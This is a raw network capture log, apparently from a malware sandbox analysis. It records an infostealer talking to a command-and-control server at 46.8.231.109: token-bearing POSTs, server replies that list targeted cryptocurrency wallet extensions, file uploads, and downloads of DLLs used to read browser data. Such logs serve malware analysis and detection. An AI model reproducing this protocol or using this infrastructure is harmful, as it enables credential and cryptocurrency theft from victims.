6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="message"plugins------EBFBKFBGIIIDGDGCFCGI--
Sep 6, 2024 08:17:36.064085007 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 6, 2024 08:17:36.064100981 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 6, 2024 08:17:36.064114094 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 6, 2024 08:17:36.064127922 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 6, 2024 08:17:36.064143896 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Sep 6, 2024 08:17:36.064156055 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Sep 6, 2024 08:17:36.064218998 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 6, 2024 08:17:36.064233065 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 6, 2024 08:17:36.602049112 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"fplugins------FBFCAKKKFBGDGCAKFCFH--
Sep 6, 2024 08:17:36.781338930 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 6, 2024 08:17:37.362234116 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 46.8.231.109 Content-Length: 7603 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:17:37.362366915 CEST	7603	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 6, 2024 08:17:37.746403933 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:37.921070099 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:38.099622965 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 6, 2024 08:17:38.099641085 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 6, 2024 08:17:39.335515976 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDH Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:17:39.785651922 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:40.276576996 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGI Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:17:40.689049006 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:40.888422012 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJD Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="file"------GDHIIIIEHCFIECAKFHJD--
Sep 6, 2024 08:17:41.157021999 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:42.980690002 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file"------JEBKJDAFHJDGDHJKKEGI--
Sep 6, 2024 08:17:43.242575884 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:43.814894915 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:44.001420021 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 6, 2024 08:17:45.156822920 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:45.333631039 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 6, 2024 08:17:46.113801956 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 6, 2024 08:17:46.294809103 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 